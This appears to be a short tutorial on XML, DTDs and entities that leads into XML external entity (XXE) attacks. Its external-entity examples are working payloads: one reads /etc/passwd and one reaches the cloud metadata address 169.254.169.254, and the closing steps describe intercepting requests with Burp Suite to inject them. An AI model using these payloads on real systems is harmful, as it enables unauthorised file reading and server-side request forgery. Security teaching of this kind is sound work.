Markup Language: What is XML?
--
What is XML?
XML (eXtensible Markup Langague) is a markup language used for storing and transporting data.
XML data does not require any conversion when transferred between different systems because of its platform-independent and programming language independent nature.
What do you need to know about XML?
XML contains two important documents:
#1 Document Type Definition (DTD) Document — Defines the structure, elements and the attributes of an XML document.
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)> --> Defines "to" element to be of type #PCDATA
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]
>NOTE: #PCDATA means parseable character data.
#2 eXtensible Markup Language (XML) Document — Markup language used for storing and transporting data that is both human and machine readable.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note> --> ROOT element (compulsory)
<to>falcon</to> --> Children element
<from>feast</from> --> Children element
<heading>hacking</heading> --> Children element
<body>XXE attack</body> --> Children element
</note>Another important element in XML is ENTITY. Entities can be used to replace the value of an element. There are different types of entities:
- Internal — Entity defined within local DTD.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "forexample">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>Output: Hello John forexample
- External — Entity defined outside of local DTD through the use of keyword “SYSTEM”.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>Output: Hello John root:x:0:0:root<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/">] >
<userInfo>
<firstName>John</firstName>
<lastName>&xxe;</lastName>
</userInfo>
Where to look for XML vulnerability?
- Test how the application works by inputting values to the form → Turn on the interceptor in Burp Suite.
- You can see that the application is using XML to transport data → We can then try to inject our code to exploit XML vulnerability.
